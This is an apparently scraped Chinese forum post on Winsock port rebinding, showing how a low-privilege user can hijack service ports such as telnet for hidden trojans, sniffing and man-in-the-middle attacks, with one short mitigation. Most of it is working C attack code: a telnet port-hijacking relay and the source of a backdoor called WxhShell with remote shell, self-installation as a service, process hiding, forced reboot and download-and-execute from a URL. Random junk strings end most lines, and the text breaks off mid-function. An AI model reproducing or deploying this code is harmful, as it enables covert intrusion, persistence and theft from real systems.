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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8H3|^J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,W7\AY07]  
ES }@mO  
  saddr.sin_family = AF_INET; jZ7#xRt5w  
doVBVTk^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1k3wBc 5<  
69TQHJ[  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [:TOU^  
$kvF]|<bu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 xSug-  
,8cw jS2E  
  这意味着什么?意味着可以进行如下的攻击: ! E#XmYhX=  
8yA :C  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 thl{IU  
c7L#f=Ot?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <s)+V6 \E  
%}x/ fq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $xa#+  
OjJKloy'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2BsMFMIw1  
 #/MUiV  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `oXUVr  
[XhuJdr"u  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Xu3o,k  
n*{e0,gp`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Jou~>0,/j  
JyvXNV,  
  #include $._p !,<  
  #include #]q<fhJhr$  
  #include )PVX)2P_C  
  #include    @G~T&6E!  
  DWORD WINAPI ClientThread(LPVOID lpParam);    # G0jMQ  
  int main() tE/j3  
  { oIAP dn  
  WORD wVersionRequested; O\q|b#q}/  
  DWORD ret; 3^xTZ*G  
  WSADATA wsaData; %19TJn%J$  
  BOOL val; .ss/E  
  SOCKADDR_IN saddr; [mYmrLs6  
  SOCKADDR_IN scaddr; P"cc$lB~I  
  int err; Ha)eeE$  
  SOCKET s; &|LZ%W0Fb  
  SOCKET sc; 9mIq9rQ|*  
  int caddsize; aF;Q SI  
  HANDLE mt; r%}wPN(?D  
  DWORD tid;   Klzsr,  
  wVersionRequested = MAKEWORD( 2, 2 ); ~raRIh=  
  err = WSAStartup( wVersionRequested, &wsaData ); M@[{j  
  if ( err != 0 ) { =q.2S; ?  
  printf("error!WSAStartup failed!\n"); 5#p [Q _  
  return -1; P#Z$+&)b)s  
  } r77?s?  
  saddr.sin_family = AF_INET; nsqc^ K^  
   wv|:-8V  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Ji\8(7 {8  
H5j~<@STC  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 8j. 9Sk/  
  saddr.sin_port = htons(23); v<,? %(g)7  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wLAGe'GX  
  { cfyN)#9  
  printf("error!socket failed!\n"); lY yt8H  
  return -1; U< |kA(5  
  } Z)Nl\e& M  
  val = TRUE;  )f>s\T  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U-6b><  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) mWZoo/xtT  
  { R;,+0r^i  
  printf("error!setsockopt failed!\n"); _fz-fG 1  
  return -1; @]" :3  
  } /m%i"kki  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /[`bPKr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8 C@iD%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /v 7U~i5  
@[D-2s  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DJr{;t$7~  
  { sNZ{OD+  
  ret=GetLastError(); Ouc=4'$-  
  printf("error!bind failed!\n"); ^CX=<  
  return -1; yf(VwU, x  
  } J b Hn/$  
  listen(s,2); sc\4.Ux%Q  
  while(1) tbrjTeC  
  { -bdF=  
  caddsize = sizeof(scaddr); hJ 4]GA'  
  //接受连接请求 SE&J)Sj]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]fg?)z-Z  
  if(sc!=INVALID_SOCKET) hVo]fD|W  
  { # kl?ww U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); eL[BH8l  
  if(mt==NULL) \^or l9  
  { s|.V:%9e  
  printf("Thread Creat Failed!\n"); A6YkoYgC  
  break; $q);xs  
  } p@!{Sh  
  } %b<cJ]F  
  CloseHandle(mt); U@yn%k9  
  } WQv%57+  
  closesocket(s); yyb8l l?@a  
  WSACleanup(); p"EQ6_f  
  return 0; nm2bBX,fh  
  }   |fkz=*rn  
  DWORD WINAPI ClientThread(LPVOID lpParam) l?LwQmq6  
  { {{w5F2b((%  
  SOCKET ss = (SOCKET)lpParam; & F\HR  
  SOCKET sc; }w ^Hm3Y^&  
  unsigned char buf[4096]; ('QfB<4H1  
  SOCKADDR_IN saddr; T+7-6y+ d  
  long num; 60(j[d-$p  
  DWORD val; J24<X9b  
  DWORD ret; E9JxntX  
  //如果是隐藏端口应用的话,可以在此处加一些判断 RuSKJ,T:9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yU]NgG=z:-  
  saddr.sin_family = AF_INET; ~{lSc/SP|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w'E&w)Z]  
  saddr.sin_port = htons(23); X<{kf-GP  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H=O/w3  
  { 1S .~Vh0Q,  
  printf("error!socket failed!\n"); @."_XL74  
  return -1; Wv!#B$J~U  
  } g93-2k,  
  val = 100; U7i WYdt$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n?'I&0>M  
  { ?T]3I.3 2^  
  ret = GetLastError(); %X)w$}WH  
  return -1; [xW;5j<87  
  } xe9E</M_  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G+&ug`0]5  
  { ~.\CG'g  
  ret = GetLastError(); :98<dQIG  
  return -1; @$o.Z;83`r  
  }  {}>s0B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +P YX.  
  { KU:RS+,e;  
  printf("error!socket connect failed!\n"); SStaS<q '  
  closesocket(sc); CWF(OMA  
  closesocket(ss); Ik W 8$>  
  return -1; ;\1/4;m  
  } uW4 )DT9[5  
  while(1) REqQJ7a/  
  { 0m8mHJ<&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !' ;1;k);  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !j8.JP}!)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $#2zxpr,  
  num = recv(ss,buf,4096,0); r:rM~``  
  if(num>0) -lICoRO#  
  send(sc,buf,num,0); ~@Yiwp\"  
  else if(num==0) Y 1v9sMN,  
  break; L TsX{z  
  num = recv(sc,buf,4096,0); XR2Gw 4]  
  if(num>0) s0EF{2<F  
  send(ss,buf,num,0); *GUQz  
  else if(num==0)  al#BfcZW  
  break; 47<fg&T  
  } Vc2 (R^  
  closesocket(ss); 0Ncx':]5  
  closesocket(sc); 4\?z^^  
  return 0 ; (%N=7?  
  } }.ZT?p\  
goa@ e  
R%%Uw %`  
==========================================================  kD}w5 U  
<I 5F@pe'  
下边附上一个代码,,WXhSHELL GvB;o^Wd  
m/E$0tf  
========================================================== HGiO}|q :  
FqWW[Bgd  
#include "stdafx.h" o54/r#~fi  
u)X]]6YJ  
#include <stdio.h> @XJzM]*w&  
#include <string.h> frh!dN  
#include <windows.h> Xh5&J9pw   
#include <winsock2.h> T<a/GE/  
#include <winsvc.h> ":I@>t{H*  
#include <urlmon.h> jV 'u*2&9  
*#y9P ve  
#pragma comment (lib, "Ws2_32.lib") gRsV -qS  
#pragma comment (lib, "urlmon.lib") +hZ{/  
Ia@!Nr2  
#define MAX_USER   100 // 最大客户端连接数 4{v?<x8  
#define BUF_SOCK   200 // sock buffer ._X|Ye9/  
#define KEY_BUFF   255 // 输入 buffer Jn\@wF9xd  
$wm.,Vb  
#define REBOOT     0   // 重启 7;8DKY q  
#define SHUTDOWN   1   // 关机 /:=,mWoO  
~[Fh+t(Y  
#define DEF_PORT   5000 // 监听端口 a#pM9n~a  
ABIQi[A  
#define REG_LEN     16   // 注册表键长度 AqZ()p*z  
#define SVC_LEN     80   // NT服务名长度 _xz>O [unf  
1m{c8Z.h/d  
// 从dll定义API dxa[9>V  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s +Q'\?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); IW>\\&pJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <)]j;Tl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (>,}C/-UG  
Ly_.% f  
// wxhshell配置信息 cT.8&EEW  
struct WSCFG { k:yrh:JhB  
  int ws_port;         // 监听端口 @-%.+  
  char ws_passstr[REG_LEN]; // 口令 JTS<n4<a  
  int ws_autoins;       // 安装标记, 1=yes 0=no [+3~wpU(p  
  char ws_regname[REG_LEN]; // 注册表键名 s~b!3l`gu  
  char ws_svcname[REG_LEN]; // 服务名 +01bjM6F_1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '{F Od_uk%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &eIwlynm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d-ML[^G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W*Gp0pX  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;/~%D(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z#Cgd-^7.#  
52v@zDY  
}; 0 >:RFCo  
(@3?JJ]1  
// default Wxhshell configuration dMDSyd<(  
struct WSCFG wscfg={DEF_PORT, ZK?:w^Z  
    "xuhuanlingzhe", zz[[9Am!  
    1, _n12Wx{  
    "Wxhshell", 2O+fjs  
    "Wxhshell", :}+m[g  
            "WxhShell Service", FZ@8&T   
    "Wrsky Windows CmdShell Service", [h@MA|  
    "Please Input Your Password: ", f' &  
  1, gVpp9VB  
  "http://www.wrsky.com/wxhshell.exe", K/D,sH!  
  "Wxhshell.exe" -z?O^:e#x  
    }; ?{KC@c*c  
G}0fk]%\:  
// 消息定义模块 3=Va0}#&  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O#@KP"8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ghVxcK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V~ [I /Vi  
char *msg_ws_ext="\n\rExit."; O/{W:hJjd  
char *msg_ws_end="\n\rQuit."; w*qmC<D$A  
char *msg_ws_boot="\n\rReboot..."; d A' h7D  
char *msg_ws_poff="\n\rShutdown..."; ba"a!#wA  
char *msg_ws_down="\n\rSave to "; [.*o< KP  
Oo`b#!L  
char *msg_ws_err="\n\rErr!";  0ZpWfL  
char *msg_ws_ok="\n\rOK!"; VsR`y]"g  
Tx0l^(n  
char ExeFile[MAX_PATH]; zP;1mN  
int nUser = 0; T7!=KE_z  
HANDLE handles[MAX_USER]; & wG3RR|  
int OsIsNt; Xn:ac^  
:>GT<PPD;  
SERVICE_STATUS       serviceStatus; !Knv/:+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >6cENe_@t  
EL=}xug,?  
// 函数声明 K#],4OG  
int Install(void); +gsk}>"  
int Uninstall(void); oO)KhA?y  
int DownloadFile(char *sURL, SOCKET wsh); #p^r)+\3=  
int Boot(int flag); kzcD}?mSS  
void HideProc(void); QWWoj[d#  
int GetOsVer(void); dk9nhS+faJ  
int Wxhshell(SOCKET wsl); >5!/&D.q  
void TalkWithClient(void *cs); `O/RNMaC  
int CmdShell(SOCKET sock); |~3$L\X  
int StartFromService(void); ,*$/2nB^  
int StartWxhshell(LPSTR lpCmdLine); C JNz J(  
b1{XGK'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X@7K#@5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sP NAG  
@5# RGM)5^  
// 数据结构和表定义 K-}'Fiq  
SERVICE_TABLE_ENTRY DispatchTable[] = <AB.`["  
{ ]m(5>h#  
{wscfg.ws_svcname, NTServiceMain}, t(:6S$6{e  
{NULL, NULL} .W+ F<]r  
}; 7" wn0 24  
:`ysq  
// 自我安装 S-:7P.#Q  
int Install(void) HG%H@uK  
{ [+st?;"GF  
  char svExeFile[MAX_PATH]; fV.43E  
  HKEY key; = *A_{u;E  
  strcpy(svExeFile,ExeFile); `|^<y.-6  
]41G!'E=  
// 如果是win9x系统,修改注册表设为自启动 rS 4'@a  
if(!OsIsNt) { :6z0Ep"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { VM3H&$d(h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0OMyE9jJJ  
  RegCloseKey(key); [vaG{4m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~j\/3;^s   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m(3bO[u1  
  RegCloseKey(key); xy|-{  
  return 0; Tj{!Fx^H  
    } 7}r!%<^  
  } .6 E7 R  
} !+M H?A  
else { t@/r1u|iq  
,9#G/nF  
// 如果是NT以上系统,安装为系统服务 g-%uw[pf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V]PTAhc  
if (schSCManager!=0) *qG=p`  
{ `z3?ET  
  SC_HANDLE schService = CreateService C_#0Y_O  
  ( ^D B0C  
  schSCManager, %'* |N [  
  wscfg.ws_svcname, {F k]X#j  
  wscfg.ws_svcdisp, xsFWF*HPs  
  SERVICE_ALL_ACCESS, h3 p 3~xq  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9~,eu  
  SERVICE_AUTO_START, nL+*Ja  
  SERVICE_ERROR_NORMAL, |<ke>j/6n  
  svExeFile, u3,b,p  
  NULL, oqDW}>.  
  NULL, u(ZS sftat  
  NULL, ^[%~cG  
  NULL, 2%W(^Lj  
  NULL 6w}:w?=6  
  ); >M:5yk@  
  if (schService!=0) XtfL{Fy|T  
  { fJE ki>1  
  CloseServiceHandle(schService); lGLZIp  
  CloseServiceHandle(schSCManager); \\)-[4uC  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {.,OPR"\  
  strcat(svExeFile,wscfg.ws_svcname); x2ol   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _-8,}F}W#s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h'-TZXs0e1  
  RegCloseKey(key); 1C$^S]v%a  
  return 0; ;v0sM*x%V  
    } =_yOX=g|  
  } W: ?-d{  
  CloseServiceHandle(schSCManager); (`!| Uf$  
} >uuX<\cW  
} ,Fr{i1Ky  
4UL-j  
return 1; x:2[E-  
} _~cmR<  
t'Q48QAb?  
// 自我卸载 e;6Sj  
int Uninstall(void) akqXh 9g  
{ <aHK{ *'3  
  HKEY key; 95!xTf  
&erNVD5o  
if(!OsIsNt) { W;-Qze\D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ev?>Nq+Z  
  RegDeleteValue(key,wscfg.ws_regname); z{n=G  
  RegCloseKey(key); @P.l8|w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { So8P 8TCK  
  RegDeleteValue(key,wscfg.ws_regname); Qp=uiXs  
  RegCloseKey(key); []2GN{m  
  return 0; lT:<ZQyjT  
  } !J71[4t  
} ?B}>[  
} [MEa@D<7N  
else { ^Ue.9#9T&g  
uVO9r-O8p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); NPc%}V&C(u  
if (schSCManager!=0) b R6bS7$  
{ cu"%>>,,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ml3F\ fAW  
  if (schService!=0) 3|?fGT;P  
  { ;I7Z*'5!  
  if(DeleteService(schService)!=0) { ?eO|s5r  
  CloseServiceHandle(schService); @!MbPS  
  CloseServiceHandle(schSCManager); 5Ci}w|c/>  
  return 0; :qZ^<3+:  
  } zR .MXr  
  CloseServiceHandle(schService); v8X&H  
  } ~8X' p6  
  CloseServiceHandle(schSCManager); } F.1j!71L  
}  A:!{+  
} OiOL 4}5(  
i!HGM=f  
return 1; ;F+%{LgKl  
} B%pvk.`  
y,x~S\>+  
// 从指定url下载文件 H xlw1(zS  
int DownloadFile(char *sURL, SOCKET wsh) Iu[EUi!"  
{ Mm;)O'XDE  
  HRESULT hr; {k*_'0   
char seps[]= "/"; g3Q #B7A  
char *token; ?4Lo"igAA  
char *file; (NQ[AypMI  
char myURL[MAX_PATH]; q- Qws0\v.  
char myFILE[MAX_PATH]; *O5+?J Z!  
d5\1-d_uz  
strcpy(myURL,sURL); k Mo)4 Xp  
  token=strtok(myURL,seps); 7S`H?},sR  
  while(token!=NULL) h$&XQq0T  
  { kC0!`$<2f)  
    file=token; W% [5~N  
  token=strtok(NULL,seps); f+6l0@K2  
  } O>GP>U?]  
MH?B .2  
GetCurrentDirectory(MAX_PATH,myFILE); ]| y H8m  
strcat(myFILE, "\\"); _:L*{=N  
strcat(myFILE, file); = I(s7=Liu  
  send(wsh,myFILE,strlen(myFILE),0); Kv]6 b2HT  
send(wsh,"...",3,0); {dwV-qz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $-RhCnE  
  if(hr==S_OK) }D^Gt)   
return 0; 'dzp@-\  
else &J b.OCf  
return 1; o^?{j*)g  
Cf7\>U->  
} =;H'~  
?N ga  
// 系统电源模块 uFm-HR@4  
int Boot(int flag) =oME~oB~  
{ 4m*(D5Y=|  
  HANDLE hToken; dX*>?a  
  TOKEN_PRIVILEGES tkp; mz*z1`\7v\  
xgz87d/<:  
  if(OsIsNt) { ?/( K7>`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9pcf jx..  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]3xa{ h~4  
    tkp.PrivilegeCount = 1; x]oQl^ F  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v8Zg og)V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `5Btg. &  
if(flag==REBOOT) { s%oAsQ_y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -y?Z}5-rs  
  return 0; R3n&o%$*  
} Rda1X~-g  
else { nY9qYFw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w<Cmzkf  
  return 0; b3xkJ&Z  
} P|4E1O  
  } es[5B* 5  
  else { e@=[+iJc  
if(flag==REBOOT) { e:LZs0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &ZN'Ey?  
  return 0; $`{q[{  
} zm+4Rl(  
else { ^-GX&ODa  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !rg0U<bO!  
  return 0; 4~A#^5J  
} 93IOG{OAY  
} 9K46>_TyH  
~'J =!Xy  
return 1; g[au-.:  
} =9 M|o0aY  
"42$AaS  
// win9x进程隐藏模块 ; axa ZV  
void HideProc(void) P}9Y8$Y>U  
{ v* ~%x  
&n]Z1e}5  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ^lai!uZVa  
  if ( hKernel != NULL ) on;sq8;  
  { qH%L"J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1mn$Rh&dO  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5V nr"d  
    FreeLibrary(hKernel); 9U9c"'g  
  } V87ee,  
4zqE?$HM'  
return; |369@un6  
} ]2\2/~l  
_`@Xy!Ye  
// 获取操作系统版本 |<3Q+EB^  
int GetOsVer(void) B#GZmv1  
{ ~I\r1Wj;  
  OSVERSIONINFO winfo; 0|s$vqc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ! jX+ox  
  GetVersionEx(&winfo); L2>?m`wp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;/";d]j  
  return 1; p=-B~:  
  else %<=vbL9  
  return 0; p#;dLM/EA  
} O5TK&j  
@0UwI%.  
// 客户端句柄模块 VJl &Bq+  
int Wxhshell(SOCKET wsl) QVSsi j  
{ W -C0 YU1  
  SOCKET wsh; 7o965h  
  struct sockaddr_in client; Jl}!CE@-  
  DWORD myID; n$hqNsM  
;ad9{":J#B  
  while(nUser<MAX_USER) a(x.{}uG,  
{ .}$`+h8W T  
  int nSize=sizeof(client); 0K$WSGB?6j  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  g`)/x\  
  if(wsh==INVALID_SOCKET) return 1; (iCZz{l@~  
r\l3_t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [I++>4  
if(handles[nUser]==0) lrmt)BLoh  
  closesocket(wsh); =p,4=wo{  
else np`g cj#  
  nUser++; <nOuyGIZ  
  } }P&1s,S8J#  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l${Hgn+  
uFrJ:l+  
  return 0;  +eDN,iv  
} Lem\UD$D`  
[.#p  
// 关闭 socket Ypn%[sSOp  
void CloseIt(SOCKET wsh) T.R>xd`9 "  
{ I5TQ>WJbf  
closesocket(wsh); VGTeuu5i  
nUser--; B7Ki @)  
ExitThread(0); c]%;^)  
} -+ ]T77r  
E !Oz|q  
// 客户端请求句柄 (6ohrM>Q  
void TalkWithClient(void *cs) {UX"Epd);n  
{ 0^<Skm27"  
H7z>S G0  
  SOCKET wsh=(SOCKET)cs; NSMjr_  
  char pwd[SVC_LEN]; -(/2_&"  
  char cmd[KEY_BUFF]; Edf=?K+\!i  
char chr[1]; z`86-Ov  
int i,j; bK_0NrXP  
@MN}^umx`  
  while (nUser < MAX_USER) { #[k~RYS3  
`G"|MM>P  
if(wscfg.ws_passstr) { sW]yuu!/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v{mv*`~nA\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RR[)UQ  
  //ZeroMemory(pwd,KEY_BUFF); T=eT^?v  
      i=0; WX%h4)z*  
  while(i<SVC_LEN) { LCo1{wi  
 /gqqKUx  
  // 设置超时 ['51FulDR  
  fd_set FdRead; _qC+'RE3  
  struct timeval TimeOut; ')AByD}Hi]  
  FD_ZERO(&FdRead); 4 o3)*  
  FD_SET(wsh,&FdRead); 8_^'(]  
  TimeOut.tv_sec=8; a-T*'F  
  TimeOut.tv_usec=0; iN:G/ss4O  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !XgQJ7y_Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -{yDk$"  
VRtbHam  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  _/8_,9H  
  pwd=chr[0]; x\Nhix}1D  
  if(chr[0]==0xd || chr[0]==0xa) { g)=V#Bglv  
  pwd=0; &q ," !:L]  
  break; gZw\*9Q9  
  } uuI3NAi~  
  i++; U -Af7qO  
    } uHfhRc9  
9>A-$a4R>  
  // 如果是非法用户,关闭 socket  O]e6i%?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); httls>:xB|  
} RtW4 n:c  
]sX7%3P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WafdE  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N; rXl8  
#[no~&E  
while(1) { N+*(Y5TU  
PRMZfYc  
  ZeroMemory(cmd,KEY_BUFF); aj&\CJ  
\1=T sU&^  
      // 自动支持客户端 telnet标准   D"`%|`O  
  j=0; Zr\2BOcc.l  
  while(j<KEY_BUFF) { Hm.X}HO0L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zSEr4^Dk4  
  cmd[j]=chr[0]; bZxv/\  
  if(chr[0]==0xa || chr[0]==0xd) { /DLr(  
  cmd[j]=0; slu$2-H  
  break; ]MC/t5vCu  
  } =ft9T&ciD  
  j++; }phz7N9  
    } n(Qj||:  
YavfjS:2  
  // 下载文件 [vE$R@TZ0!  
  if(strstr(cmd,"http://")) { ^%-NPo<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [Dnusp7e  
  if(DownloadFile(cmd,wsh)) A$/KP\0Y2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .=?Sz*3  
  else ?A|zRj{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >r~0SMQr  
  } <inl{CX/  
  else { ZQ@3P7T  
QxKAXq@)i  
    switch(cmd[0]) { AzZi{Q ?  
  QyTh!QM~`  
  // 帮助 "_t4F4z  
  case '?': {  }K?F7cD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,&0Z]*  
    break; TV<Aj"xw  
  } TV? ^c?{5  
  // 安装 %cS#+aK6M'  
  case 'i': { "pYe-_"@  
    if(Install()) AmZuo_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7Ez}k}aR<  
    else cnbo +U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l+oDq'[q"  
    break; 0"hiCGm'  
    } |n)<4%i8J  
  // 卸载 DQcWq'yY^  
  case 'r': { -P2 @mx%  
    if(Uninstall()) q{/*n]K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bH_I7G&m  
    else eVTO#R*'|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T{ok +$w2  
    break; 9w zwY[{  
    } wtq,`'B  
  // 显示 wxhshell 所在路径 Vfb<o"BQk  
  case 'p': { P7'M],!9w  
    char svExeFile[MAX_PATH]; >;m{{nj  
    strcpy(svExeFile,"\n\r"); _'&k#Q  
      strcat(svExeFile,ExeFile); O!/ekU|,r  
        send(wsh,svExeFile,strlen(svExeFile),0); @#A!w;bz  
    break; TWtC-wI;  
    } D_Guc8*  
  // 重启 _n7%df  
  case 'b': { r-*l1([eW  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Trpgx  
    if(Boot(REBOOT)) f0OgK<.>T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lelMt=  
    else { S3QaYq"v  
    closesocket(wsh); !h?=Wv ==]  
    ExitThread(0); !F-sA: xq  
    } /Ad6+cY  
    break; Zct!/u9 Q  
    } ~C0 Pu.{o  
